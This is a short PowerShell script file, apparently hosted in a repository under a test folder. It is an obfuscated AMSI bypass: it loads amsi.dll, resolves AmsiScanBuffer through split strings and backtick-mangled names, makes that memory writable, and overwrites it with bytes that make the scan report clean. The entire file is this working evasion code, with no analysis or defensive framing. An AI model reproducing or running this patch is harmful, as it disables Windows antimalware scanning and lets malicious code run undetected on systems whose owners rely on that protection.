gggg / test /M.ps1
enotkrutoy's picture
Update test/M.ps1
0ca3510 verified
raw
history blame
867 Bytes
$W = @"
using System;
using System.Runtime.InteropServices;
public class Win32 {
[DllImport("kernel32")]
public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
[DllImport("kernel32")]
public static extern IntPtr LoadLibrary(string name);
[DllImport("kernel32")]
public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);
}
"@
Add-Type $W
${loaD`LiBR`Ary} = [WIN32]::LoadLibrary("am" + ("{0}{1}"-f'si.dl','l'))
${A`DDre`sS} = [Win32]::GetProcAddress(${LOadliBr`A`Ry}, ("{1}{0}"-f 'i','Ams') + ("{0}{1}" -f'Sc','an') + ("{1}{0}" -f'er','Buff'))
${p} = 0
[Win32]::VirtualProtect(${Ad`dre`SS}, [uint32]5, 0x40, [ref]${p})
${P`ATCH} = [Byte[]] (0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3)
[System.Runtime.InteropServices.Marshal]::Copy(${PaT`Ch}, 0, ${addr`E`ss}, 6)